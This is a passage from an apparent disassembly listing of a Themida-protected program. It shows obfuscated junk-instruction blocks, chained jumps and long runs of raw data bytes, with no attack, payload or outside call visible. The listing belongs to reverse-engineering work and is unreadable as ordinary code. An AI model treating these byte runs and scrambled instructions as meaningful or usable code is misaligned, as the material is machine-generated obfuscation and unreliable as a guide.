0C2EA7BEh, 0D523E960h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BA0E: ; CODE XREF: Themida_:0055B38Dj pop esi jmp loc_55AB7F ; --------------------------------------------------------------------------- dd 8802E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BA1A: ; CODE XREF: Themida_:005562B9j push edx mov edx, 19532E48h mov edi, 0F173DA10h add edi, edx pop edx and ebp, edi pop edi xor ebp, 0C11800h jmp loc_56565E ; --------------------------------------------------------------------------- dw 815Eh dd 0C3900F5h, 0E9D5F739h, 0FFFF7806h, 27E9C731h, 8900001Fh dd 0B5512404h, 0B6ED80B2h, 4742E9h, 0E9816600h, 89660C63h dd 4F6659CFh, 0FF71CFE9h, 0BBBF57FFh, 0D15E4E2Fh, 0E9D7F7EFh dd 603Ch ; --------------------------------------------------------------------------- loc_55BA78: ; CODE XREF: Themida_:00556D19j pop ebx xor ebp, [esp] jmp loc_55A93E ; --------------------------------------------------------------------------- byte_55BA81 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0055000Co dd 9016824h, 94E90000h, 59FFFFFEh, 0E2EF814Fh, 89E43CB8h dd 243C8BFDh, 0EAE6E952h, 0C481FFFFh, 4, 2D1BE281h, 0F2814D18h dd 341A30CBh, 34FFD001h, 2434FF24h db 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 4 add ebp, eax jmp loc_55B408 ; --------------------------------------------------------------------------- loc_55BACD: ; CODE XREF: Themida_:0055B9FEj pop ebx push ecx mov ecx, 78D66E03h dec ecx add ecx, 87299202h add ebx, ecx pop ecx jmp loc_565443 ; --------------------------------------------------------------------------- db 89h dd 67BF243Ch, 0E9777D0Ah, 0FFFF7FF2h, 0BEF9EF81h, 6168396Eh dd 89000077h, 3C31243Ch, 243C3324h, 0E9243C31h, 1137h dd 0E9240489h, 0FFFF4583h, 66C0E956h, 0CF2D0000h, 0FF4E971Dh dd 835B2434h, 0FF2D04C4h, 2924C428h, 28FF05D8h, 0FE924C4h dd 66FFFFA4h, 86FB050h, 48B66C3h, 0D27EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BB46: ; CODE XREF: Themida_:0055DEE7j push edi jmp loc_55AC5F ; --------------------------------------------------------------------------- aLSm db '‹,$ém&',0 align 4 dd 2424895Ch, 4240481h, 5B000000h, 4FBBB951h, 8341763Ah dd 0E98101C1h, 763A4FB9h, 0FFB844E9h, 7EC281FFh, 563EED19h dd 0CB5992BEh, 0E9F22951h, 0FFFF8604h ; --------------------------------------------------------------------------- loc_55BB88: ; CODE XREF: Themida_:0056475Bj pop edx add ebx, edx push dword ptr [ebx] mov ecx, [esp] add esp, 4 pop ebx pop edx pop eax jmp loc_5533A0 ; --------------------------------------------------------------------------- loc_55BB9E: ; CODE XREF: Themida_:00558BD7j push dword ptr [esp] pop ecx push edx mov edx, esp jmp loc_554983 ; --------------------------------------------------------------------------- dw 5F54h dd 5056B951h, 0BD550F20h, 3C125A39h, 0E677ED81h, 0E931C791h dd 13B5E9h db 0 ; --------------------------------------------------------------------------- loc_55BBC5: ; CODE XREF: Themida_:0056394Ej xor edi, 645932AEh sub edi, 4339DC5Bh shr edi, 6 shl edi, 2 inc edi xor edi, 59EE7140h sub edi, 5A50B789h jmp loc_556E72 ; --------------------------------------------------------------------------- byte_55BBE9 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00550018o dd 1058669Dh, 0E99C2404h, 0FFFF449Fh ; --------------------------------------------------------------------------- loc_55BBF8: ; CODE XREF: Themida_:00558E78j pop esi xor ebp, edi push dword ptr [esp] pop edi jmp loc_550556 ; --------------------------------------------------------------------------- dd 0DC1F36BAh, 0E9D60153h, 163Dh, 42Dh, 24048700h, 240C895Ch dd 0EC7AE952h, 45B8FFFFh, 2902A448h, 15A58C7h, 0E3685FF9h dd 89000013h, 0BD552404h, 5CC71ABBh, 4A300CB8h, 5DE801C6h dd 0EF5E0C0Dh, 0E525407Dh, 0D175F875h, 5D8F7E8h, 3AFC2A64h dd 34FFC129h, 0C4815824h, 4, 31240C33h, 11E9240Ch, 87000019h dd 505C242Ch, 0E8D09BB0h, 6808E0C0h, 6B7Bh, 0B1240C89h dd 50D1864Fh, 0C280FFB0h, 80C200DBh, 3058DBEAh, 30CA30D1h dd 4FE9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BC9E: ; CODE XREF: Themida_:005600F4j not dword ptr [esp] jmp loc_557684 ; --------------------------------------------------------------------------- dw 1489h dd 1AB85024h, 0BA061125h, 59BC030Ch, 6F34E9h, 24248B00h dd 240CFF66h, 43D1E99Ch, 0F681FFFFh, 624FA862h, 525EF201h dd 586EE9h, 73716800h, 4890000h, 0D827B824h, 0C2015E36h dd 5AD38958h, 0C16E9h, 0D5686600h, 5A2BE91Eh, 0C083FFFFh dd 4EC8104h, 0E9000000h, 0FFFFAF65h, 0FF242C89h, 0E9042474h dd 0FFFF896Bh, 0A45C02BFh, 0E9FD296Ch, 372h, 6B2EBF58h dd 0EF312911h, 79CF815Dh, 0F7658052h, 0B2E781D7h, 0E92CA030h dd 755Eh, 2D7068h, 240C8900h, 103E53B9h, 0CCEEBB78h, 0CB01B25Bh dd 0C1DBF759h, 0F38103E3h, 0AC9FA5FCh, 0FFDC91E9h, 81DEF7FFh dd 0BF09C6C6h, 5EF72962h, 514BB951h, 0CD01154Eh, 0E9FD0159h dd 0FFFFAEB8h, 5102EFC1h, 0FF507CE9h, 4C483FFh, 14FF381h dd 0DEE907CFh, 4000080h, 66870417h, 0DD68665Bh, 1C896641h dd 9A69E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BDA2: ; CODE XREF: Themida_:00552C79j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_550097 ; --------------------------------------------------------------------------- db 68h, 0B3h, 1Fh dd 34890000h, 4AE95324h, 68000003h, 3F374DD5h, 0DDF74D5Dh dd 1975F581h, 0F58111D7h, 31141761h, 13E9EE89h, 30FFFF61h dd 46E95BDAh, 81FFFFD6h, 4C4h, 4C18100h, 0E9000000h, 0FFFF9508h dd 8158C389h, 5B7A7CC6h, 9DE9507Ah, 5FFFFFA3h, 242DBB53h dd 0E3812F29h, 4B0F3EB5h, 7142F381h, 0E3C12A04h, 3DCB8102h dd 0C168E864h, 0BD5507E3h, 10E5770Eh, 7517E581h, 81451346h dd 17A505F5h, 5DEB0198h, 0B152C72Dh, 6A0CE97Dh, 0F7400000h dd 5E40E9D8h, 481FFFFh, 424h, 12AFE900h, 0C870000h, 14895C24h dd 8B8BA24h, 0E2C119C8h, 4EC8306h, 0BF243C89h, 4F8C3B74h dd 0EA7BA52h, 0BD554CA1h, 1D5E0110h, 215DEA29h, 0DFF75AD7h dd 2873E9h db 0 byte_55BE95 db 0FFh, 77h, 3Ch ; DATA XREF: Themida_:0054FF38o dd 2209E9h db 0 ; --------------------------------------------------------------------------- loc_55BE9D: ; CODE XREF: Themida_:005624B1j pop eax add esp, 4 shl edi, 8 push eax mov eax, 3604548h sub edi, eax pop eax push edx mov edx, 12D05400h and edx, 319975B4h jmp loc_559D45 ; --------------------------------------------------------------------------- db 5Ah, 53h, 0BBh dd 25DEF06Bh, 0CFE9DD01h, 81FFFFACh, 0BF2DA8F2h, 0E9D58953h dd 0FFFFAB71h, 24348B66h, 13B4E9h, 3E8C100h, 222FD905h dd 58C3013Eh, 214EEB81h, 0C3812A6Fh, 0CBA65F4h, 3CA5EE81h dd 0FE91E01h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BF07: ; CODE XREF: Themida_:00559FD5j mov esp, [esp] jmp loc_554E1C ; --------------------------------------------------------------------------- aMfrs8y db '¬fRé8Y',0 ; DATA XREF: Themida_:0054FFC8o db 0 ; --------------------------------------------------------------------------- loc_55BF17: ; CODE XREF: Themida_:005583F7j not ebp push edi mov edi, 512B5CE2h inc edi jmp loc_55A8A6 ; --------------------------------------------------------------------------- loc_55BF25: ; CODE XREF: Themida_:005623E0j sub esp, 4 mov [esp], ebx mov ebx, 1E4B6B72h push ecx mov ecx, 1E4B6B76h jmp loc_55BF83 ; --------------------------------------------------------------------------- dw 2DB2h dd 0E9F7C280h, 0FFFFB0B9h, 4C381h, 0C3830000h, 241C8704h dd 555AE95Ch, 28580000h, 9C79E9C3h, 3C8BFFFFh, 4C48324h dd 0D1BA52h, 81421B87h, 606ECDE2h, 0E1A5E92Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BF7A: ; CODE XREF: Themida_:00552040j xor bl, 57h push edx jmp loc_555DF1 ; --------------------------------------------------------------------------- loc_55BF83: ; CODE XREF: Themida_:0055BF39j push ebx mov ebx, ecx push ebx pop edx pop ebx pop ecx sub edx, ebx pop ebx add eax, edx jmp loc_55B5F5 ; --------------------------------------------------------------------------- dd 4EC81h, 1C890000h, 41A5E924h, 0E95F0000h, 0FFFFCC34h ; --------------------------------------------------------------------------- loc_55BFA8: ; CODE XREF: Themida_:00556416j mov eax, [esp] add esp, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], esi push esp mov esi, [esp] add esp, 4 jmp loc_551DB6 ; --------------------------------------------------------------------------- dd 8704C083h, 0E95C2404h, 87E7h, 429FE957h, 3C890000h dd 0B9665124h, 81666CC7h, 663EDEF1h, 727C981h, 4CC98166h dd 0FA5FE923h, 8145FFFFh, 6040B8F5h, 4EC8314h, 68240489h dd 39FFh, 0BD242C89h, 283842B9h, 6D22E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C01A: ; CODE XREF: Themida_:0055C742j add esp, 4 add ecx, edx push 2959h mov [esp], edx jmp loc_551D5B ; --------------------------------------------------------------------------- db 0BFh dd 61BD5433h, 5EAAE951h, 5659FFFFh, 0BB53E689h, 4, 0E95BDE01h dd 0FFFF7975h, 0B1240C89h, 0E9E9D01Fh, 6C55h ; --------------------------------------------------------------------------- loc_55C058: ; CODE XREF: Themida_:00550A84j or edx, 4D71118Ch jmp loc_5538B3 ; --------------------------------------------------------------------------- db 0BBh dd 2, 335BD901h, 0C31240Ch, 240C3324h, 0E924248Bh, 0FFFFC842h dd 4240483h, 8124148Bh, 4C4h, 0F796E900h, 0E95FFFFFh, 553Dh dd 70BBBD55h, 0E8012D5Fh, 0FFAE90E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C0A1: ; CODE XREF: Themida_:00561ECBj mov ebx, [esp] add esp, 4 xor eax, 3D7E7CFBh add ecx, 0B820B27h sub ecx, eax jmp loc_55F669 ; --------------------------------------------------------------------------- dd 0EC81DEF7h, 4, 0B8240489h, 42CF67B1h, 4535D8F7h, 5300B349h dd 0B74191BBh, 0C8CB8125h, 5520A972h, 0ED1F53BDh, 5DEB094Fh dd 3BD8EB81h, 0CB811A29h, 3AD678DFh, 0FF553EE9h db 0FFh byte_55C0F9 db 0ADh, 57h, 68h ; DATA XREF: Themida_:0054FFB8o dd 6F1D681Ch, 3189685Fh, 3C890000h, 7EA0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C10E: ; CODE XREF: Themida_:00555E1Bj pop ecx push eax jmp loc_56244F ; --------------------------------------------------------------------------- db 68h, 0C3h, 3 dd 0C890000h, 0E9535B24h, 2376h, 42474FFh, 24048F59h, 0FFADAAE9h dd 8BD001FFh, 0C4832414h, 2C08304h, 8B240487h, 0DFE92424h dd 3100008Bh, 9FE92434h, 29FFFF5Dh, 0FE95EF5h db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C157: ; CODE XREF: Themida_:0055A628j add eax, 4 jmp loc_564E51 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd offset dword_50112C+0BDh dd 4C58100h, 81000000h, 4EDh, 242C8700h, 5051E95Ch, 0BA52FFFFh dd 5F7944F8h, 0BB0CBF57h, 65E9A086h, 5700008Ch, 0FFF23BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C195: ; CODE XREF: Themida_:0055A38Ej push ebp mov ebp, 43DC6668h inc ebp neg ebp jmp loc_55D2CF ; --------------------------------------------------------------------------- loc_55C1A3: ; CODE XREF: Themida_:00564A41j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push 794Ah mov [esp], eax push 47B2h mov [esp], ecx jmp loc_550561 ; --------------------------------------------------------------------------- loc_55C1EA: ; CODE XREF: Themida_:00552EC5j shl esi, 4 push eax mov eax, 67DE68F4h xor eax, 33743F5Fh sub eax, 65491BB9h jmp loc_55A31E ; --------------------------------------------------------------------------- dw 4B9h dd 0E9000000h, 0FFFF8124h, 8724048Fh, 0F7FB87DFh, 31FB31D7h dd 0D915E9DFh, 0C781FFFFh, 79B04510h, 660AF781h, 0FE017955h dd 4EE815Fh, 68000000h, 468Bh, 0FF243489h, 5E042474h, 5C24048Fh dd 0BA241489h, 5AF5EACh, 50A154BBh, 6C34E9FAh, 0FCB3FFFFh dd 5B66DD30h, 0CDFED5F6h, 5227F580h, 0D2F6CEB2h, 0FF9290E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C26D: ; CODE XREF: Themida_:005539EBj sub esi, 59D1A74Eh push edi jmp loc_559B0A ; --------------------------------------------------------------------------- loc_55C279: ; CODE XREF: Themida_:0055171Cj and esi, 7DDF0DF1h and esi, 26B74F6Eh push 7980h jmp loc_55CD48 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 0F74DE900h db 2 dup(0FFh) word_55C29A dw 56ADh ; DATA XREF: Themida_:0054FFA8o dd 0FF5BADE9h, 241CF7FFh, 79F5815Dh, 0E90D4B9Ah, 0FFFF5867h dd 0C102EAC1h, 54E904EAh, 5EFFFFDCh, 572BB951h, 0D1F77F81h dd 0A50DC181h, 0CE31E260h, 0D0EA8159h, 0E908F543h, 3163h dword_55C2D8 dd 240C8B66h, 52E78957h, 6B68FDBAh, 87C4E969h, 8147FFFFh ; DATA XREF: Themida_:0054FE8Co dd 0B68E77EFh, 8BFB01F2h, 5452243Ch, 4C2815Ah, 81000000h dd 4C2h, 24148700h, 4EB835Ch, 8B241C87h, 3C892424h, 2474FF24h dd 2434FF04h, 0FF8198E9h, 29E959FFh db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C327: ; CODE XREF: Themida_:00561653j mov [esp], ecx push eax jmp loc_55D610 ; --------------------------------------------------------------------------- aZso db 'ZéŽ(',0 align 2 loc_55C336: ; CODE XREF: Themida_:00553631j xor eax, 29ED5F34h inc eax jmp loc_5512A0 ; --------------------------------------------------------------------------- db 0BEh, 1, 0 dd 0F7010000h, 83C9E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C34E: ; CODE XREF: Themida_:00558FFDj push edi mov edi, 68CD1881h mov edx, 9732E7ABh jmp loc_55B7A8 ; --------------------------------------------------------------------------- loc_55C35E: ; CODE XREF: Themida_:0056192Bj xchg ecx, [esp] pop esp pop ebx jmp loc_55686C ; --------------------------------------------------------------------------- dd 5C240C87h, 0BB241C89h, 16AB53DDh, 5064E9h db 0 ; --------------------------------------------------------------------------- loc_55C379: ; CODE XREF: Themida_:0055B5CBj xor [esp], ebx jmp loc_5575F8 ; --------------------------------------------------------------------------- db 5Dh, 5Fh, 2Dh dd 3B3368EAh, 0EA05C829h, 593B3368h, 8158C701h, 2C7h, 468A6800h dd 3C890000h, 2474FF24h, 48F5F04h, 0F545E924h, 5553FFFFh dd 2078A4BDh, 60BF576Dh, 192DF87h, 0EB895FFDh, 0CF49E95Dh dd 4FBFFFFFh, 0F725BE53h, 124EE9DFh, 0B6520000h, 8BF53042h dd 0C4832414h, 5300E904h, 0F7460000h, 5E6C1DEh, 0BDB9514Eh dd 10B6542h, 0E95159CEh, 0FFFFA73Eh, 66D50166h, 8324148Bh dd 0BCE902C4h, 5CFFFF4Ch, 0E6895657h, 4C681h, 0EE830000h dd 24348704h, 8486E95Ch, 34810000h, 0CE3BCC24h, 0F3815B4Ah dd 4ACE3BCCh, 0FF7DA5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C431: ; CODE XREF: Themida_:0055A3A6j pop dword ptr [esp] mov esp, [esp] mov [esp], edi push 609Eh jmp loc_5542E6 ; --------------------------------------------------------------------------- dd 5CA7C681h, 81586F20h, 0F639D7C3h, 0BFEB8125h, 14E8D7Ah dd 0BFC381F3h, 0E94E8D7Ah, 0FFFFB465h, 0C781E789h, 4, 0FF5D6BE9h dd 515058FFh, 9A7990B9h, 0E9C8895Ah, 0FFFF80D8h, 40558h dd 2050000h, 50000000h, 42474FFh, 0E924048Bh, 6B70h, 66B95147h dd 0E958E70Fh, 0FFFF717Eh, 68240C8Bh, 39E5h, 54243C89h dd 0FF955DE9h, 97C380FFh, 6677C380h, 0D9A0E959h, 0EC81FFFFh dd 4, 0E9240C89h, 0FFFF4B84h, 6856595Bh, 2094h, 0FF46A0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C4DD: ; CODE XREF: Themida_:00554AF6j push edi push esp jmp loc_562595 ; --------------------------------------------------------------------------- dword_55C4E4 dd 0B9B951ADh, 812C887Ch, 2F4E53E1h, 4E9C117h, 1BF57h ; DATA XREF: Themida_:0054FDC8o dd 0BAE90000h, 80FFFFA7h, 0D528CBC5h, 5ACBED80h, 5933E9h dd 4C48300h, 0FF8562E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C515: ; CODE XREF: Themida_:0056486Bj push ebx mov ebx, 4 sub edi, 339D0700h add edi, ebx add edi, 339D0700h pop ebx xor edi, [esp] jmp loc_5614A1 ; --------------------------------------------------------------------------- dw 0D8F7h dd 0BC057A2Dh, 0D4BB535Dh, 216ED62Ah, 47355BD8h, 402D727Dh dd 4475E935h, 58C10135h, 399DF181h, 0CF013558h, 92E95359h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C55F: ; CODE XREF: Themida_:00564DE3j pop ebp pop dword ptr [esp] pop esp or edx, eax shl edx, 1 push dword ptr [edi+24h] push edi push edx mov edx, 5E6E3897h mov edi, edx pop edx jmp loc_55E94C ; --------------------------------------------------------------------------- dw 15Fh dd 0E9E95EF3h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C583: ; CODE XREF: Themida_:00554883j xor ecx, edx push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], eax push ebx push edi jmp loc_55D15C ; --------------------------------------------------------------------------- dd 405h, 74FF5000h, 8F580424h, 835C2404h, 9CE904C4h, 66000011h dd 620BE948h, 0D001FFFFh, 77490B05h, 71B95119h, 0E902954Ch dd 0FFFFCC66h, 3104E828h, 81240C8Bh, 4C4h, 0E9D60400h dd 0FFFFC64Dh ; --------------------------------------------------------------------------- loc_55C5E0: ; CODE XREF: Themida_:0055E2DEj mov [esp], edx mov edx, 4 push eax push ebx push ebp mov ebp, 0CB51BE4h jmp loc_551FD1 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 197FE950h, 0E9570000h, 3012h ; --------------------------------------------------------------------------- loc_55C604: ; CODE XREF: Themida_:00558612j add ecx, 2A7B566Ch mov edi, [esp] sub esp, 4 mov [esp], esi jmp loc_55C7F4 ; --------------------------------------------------------------------------- loc_55C618: ; CODE XREF: Themida_:00554157j sub edi, 64611340h add edi, ecx add edi, 64611340h push 2362h mov [esp], eax mov eax, 2CEB0E9Fh add edi, eax jmp loc_559700 ; --------------------------------------------------------------------------- dw 0C483h dd 24048F04h, 0C8B60F5Ch, 4EC81h, 2C890000h, 51E58924h dd 1009E9h, 3ACB8000h, 0D3F6CBFEh, 8002E3C0h, 0DD006DF3h dd 0FF57D1E9h, 1A5A68FFh, 0D3E90000h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C673: ; CODE XREF: Themida_:00560BD3j xor edx, [esp] jmp loc_56063F ; --------------------------------------------------------------------------- db 81h dd 4E9h, 240C8700h, 8924248Bh, 98E92404h, 5EFFFF52h, 7A1AC281h dd 0EA811C11h, 38613286h, 0FF42FCE9h, 0E98958FFh, 83242C8Bh dd 0BE5604C4h, 21B8137Fh, 9FE9h, 5F2D5F00h, 177B03Bh, 3B5F05E8h dd 34FF77B0h, 0C4815D24h, 4, 3304C083h, 0E2E92404h, 81FFFF7Ah dd 1FCB4DC1h, 59CB8900h, 780FC381h, 0CB8149EEh, 88477C8h dd 5705E3C1h, 0DEF9BCBFh, 5FFB29DAh, 1767E9h, 5AF50000h dd 0C8BEC88h, 0E793E924h, 48BFFFFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg ebx, [esp] pop esp push ebp jmp loc_55D934 ; --------------------------------------------------------------------------- dw 1C89h dd 88E38824h, 4F58E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C736: ; CODE XREF: Themida_:00558410j sub edi, 163477E7h pop ebx mov ecx, edi mov edi, [esp] jmp loc_55C01A ; --------------------------------------------------------------------------- loc_55C747: ; CODE XREF: Themida_:00559776j jmp loc_550097 ; --------------------------------------------------------------------------- loc_55C74C: ; CODE XREF: Themida_:00550098j add al, 2Bh push ebx jmp loc_560C75 ; --------------------------------------------------------------------------- dd 0B6BBEE81h, 0C181D2CFh, 0D51537Dh, 0E981F101h, 0D51537Dh dd 0F7D1F75Eh, 4EC81D1h, 89000000h, 54BB241Ch, 1A07EA6h dd 528DE9D9h, 1F68FFFFh, 89000055h, 0EDE92404h, 0E9FFFF83h dd 0FFFF3903h, 0E9243C89h, 0FFFF9F82h ; --------------------------------------------------------------------------- loc_55C79C: ; CODE XREF: Themida_:0055B8E2j add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp loc_55C7A9: ; CODE XREF: Themida_:0055FE2Bj push 5727h mov [esp], ebx push ecx mov ecx, 56CB1EFAh push edi mov edi, 19F656C0h jmp loc_555AE7 ; --------------------------------------------------------------------------- dw 0F381h aJS_a db '†¶Ì½é_A',0 dd 0E9EDD100h, 0FFFF678Bh ; --------------------------------------------------------------------------- loc_55C7D4: ; CODE XREF: Themida_:0055D6B6j push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub al, 0E2h sub al, cl jmp loc_557E56 ; --------------------------------------------------------------------------- loc_55C7F4: ; CODE XREF: Themida_:0055C613j push esp mov esi, [esp] add esp, 4 push ecx jmp loc_551480 ; --------------------------------------------------------------------------- aNhs6 db 'h™6',0 ; DATA XREF: Themida_:0054FE84o align 2 dw 43E9h dd 68FFFF49h, 7F24h, 0E9243C89h, 0FFFF7959h, 5E2434FFh dd 8104C483h, 0A2091EEDh, 0B1E0E960h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C82E: ; CODE XREF: Themida_:0055B2EBj mov [esp], esi push 19F6599Eh jmp loc_5572CC ; --------------------------------------------------------------------------- db 81h dd 14238DC7h, 8AF78122h, 89335437h, 4C015FF9h, 38E90424h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C853: ; CODE XREF: Themida_:00551310j pop esp mov ebx, [esp] add esp, 4 jmp loc_5554E8 ; --------------------------------------------------------------------------- db 5Ch dd 8B243487h, 9662424h, 0E99C2404h, 0FFFF3827h, 0E904C483h dd 88CEh, 4C581h, 0E9500000h, 0FFFFB50Bh, 0AC4CD81h, 814D18BAh dd 969DDAEDh, 5DE8294Dh, 601EBA52h, 0C2813EC3h, 38EE3FDBh dd 6E2C14Ah, 0FF4863E9h, 0E18951FFh, 4C181h, 77E90000h dd 8BFFFFB0h, 0B6E92404h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C8BF: ; CODE XREF: Themida_:00564D50j add ebx, ebp pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_556841 ; --------------------------------------------------------------------------- aRwNyuwws db 'RW¿nyîWWé',1Bh,0Bh,0 dd 37B5E900h, 0BE56FFFFh, 4E1070D0h, 8247429h, 8324348Bh dd 448104C4h, 6E100424h, 48B592Dh, 61E95724h, 29FFFFFBh dd 802FE9D9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C90A: ; CODE XREF: Themida_:0055020Ej mov [esp], eax jmp loc_558EC0 ; --------------------------------------------------------------------------- dw 0E7C0h dd 4D786804h, 0C890000h, 0F6DCB524h, 0D4C580D5h, 3059EF30h dd 0B2E95BFDh db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C92F: ; CODE XREF: Themida_:005534A0j sub edi, ebx add edi, 541B075Eh jmp loc_55F7D7 ; --------------------------------------------------------------------------- dd 8005ED80h, 0E95BF6C5h, 0FFFF4279h, 5A2434FFh, 4C481h dd 89560000h, 4C681E6h, 53000000h, 4BBh, 5BDE2900h, 8B243487h dd 2C892424h, 2BB2BD24h, 814D4A63h, 78184FEDh, 2B0B68E6h dd 4890000h, 771FB824h, 13E959C4h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C98B: ; CODE XREF: Themida_:0055A338j mov [esp], eax mov eax, 36E57592h push eax not dword ptr [esp] pop eax jmp loc_550DC3 ; --------------------------------------------------------------------------- db 81h, 0EAh, 13h aEaS db 'Eí]éÂ<',0 align 4 loc_55C9A8: ; CODE XREF: Themida_:00550C44j add eax, 721E1C39h jmp loc_55F2F6 ; --------------------------------------------------------------------------- dw 0E6C1h dd 0DAE68103h, 4E06657Ch, 4FCEE81h, 0F031A778h, 0FFC2095Eh dd 81582434h, 4C4h, 0DCE28100h, 8123242Ah, 242A5CF2h, 85E98122h dd 1550675h, 0D73E9D1h, 0C1810000h, 4, 76EB68h, 243C8900h dd 4EC8156h, 89000000h, 70B82404h, 5078670Bh, 4F243481h dd 5E5B3F3Bh, 3B4FF681h, 0BE95B3Fh, 0C1FFFF77h, 0BB5305EEh dd 5AFECE2Ch, 0E95BDE31h, 2521h, 0C102E1C1h, 0E98104E1h dd 4EE53554h, 873B850h, 0C1011841h, 599FE958h, 0E9530000h dd 3E09h dword_55CA4C dd 240C8B66h, 0C90EE956h, 0BEFFFFh, 29000000h, 5EF387DEh ; DATA XREF: Themida_:00550000o dd 0B9E6857h, 34890000h, 4CF46824h, 0BF5E475Dh, 78FC5FACh dd 315EF731h, 2434FFFBh, 4C4835Fh, 47A3B951h, 0CB311FC7h dd 8BD82159h, 0C481241Ch, 4, 0E91C77FFh, 3FFCh, 0F6CAF181h dd 52E9049Dh, 59FFFF4Ah, 3D18E9h, 58C70900h, 0FFE14FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CAB5: ; CODE XREF: Themida_:0056135Bj mov esi, edx pop edx or esi, 271430EEh xor esi, 448373F5h and ebx, esi pop esi push ecx jmp loc_5558EE ; --------------------------------------------------------------------------- db 55h, 0BDh, 53h dd 2962055Ah, 0DC36E9EBh, 0DA29FFFFh, 8F4E9h db 0 ; --------------------------------------------------------------------------- loc_55CAE1: ; CODE XREF: Themida_:0055DD05j mov edx, 6786504h inc edx push ecx mov ecx, 14FD136Dh sub edx, ecx pop ecx shl edx, 1 not edx xor edx, 1D095CCBh add ebp, edx jmp loc_559B8E ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0CF010000h, 243C8759h, 3585E95Ch, 0E829FFFFh, 83242C8Bh dd 772D04C4h, 6843ED43h, 3AC2h, 81242C89h, 4ECh, 24348900h dd 0DA0E6C68h, 24348B48h, 8104C483h, 0E56EDE6h, 94B9511Eh dd 1287C38h, 5D5659CEh, 4EC835Eh, 81241489h, 4ECh, 24348900h dd 92645DBEh, 26E9E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CB66: ; CODE XREF: Themida_:0055635Aj sub ecx, 2B546D8Bh push edi mov edi, 33AB591Eh add ecx, edi pop edi xor edx, ecx pop ecx mov edi, edx pop edx xor edi, ecx pop ecx sub ebx, 16C052C7h add ebx, edi push ebp mov ebp, 16C052C7h add ebx, ebp pop ebp pop edi add ebx, esi sub ebx, 2F66674Dh push dword ptr [esp] pop esi jmp loc_5560B4 ; --------------------------------------------------------------------------- loc_55CBA1: ; CODE XREF: Themida_:00562C1Bj pop eax add bl, 65h add bl, ah sub bl, 65h jmp loc_554D0A ; --------------------------------------------------------------------------- db 68h dd 7FF5h, 89242C89h, 19E953E5h, 87FFFF61h, 248B241Ch, 5095E924h dd 0BB53FFFFh, 759417E4h, 685BDA09h, 0DBAh, 0F7241489h dd 34FF2414h, 4BFFE924h, 8A050000h, 1A79B99h, 0FFE958C5h dd 8900006Eh, 4DB6E9E2h, 55510000h, 2AA96866h, 73E95D66h dd 8100005Fh, 4C7h, 4C78100h, 0E9000000h, 0FFFF6028h, 0B2E9DF29h dd 5200007Dh, 0C281E289h, 4, 4C281h, 14870000h, 4875C24h dd 24248B24h, 4BB0F66h, 0BE99C24h, 4F000042h, 2474FF57h dd 7264E904h, 14890000h, 0EFE95324h, 1FFFFB8h, 67C381C3h dd 585F4F27h, 4EB81h, 1C330000h, 241C3124h, 5C241C33h dd 56242489h, 0FF73FBE9h, 6857FFh, 8B000008h, 0E7E9243Ch dd 0BA000055h, 6D724A45h, 0FFC50DE9h, 81E389FFh, 4C3h dd 4C38300h, 8B241C87h, 83572424h, 248904ECh, 24048124h dd 4, 4C7815Fh, 81000000h, 4EFh, 243C8700h, 243C895Ch dd 243C8B54h, 4C481h, 0E9500000h, 0FFFF8DC9h, 68585450h dd 4357h, 548AE9h, 31ED8100h, 81593250h, 0F4CAF0EDh, 0E9E9019Bh dd 0FFFFE2C9h, 4244481h, 736D5A4Dh, 4246C81h, 2D1F1515h dd 0C181595Dh, 4, 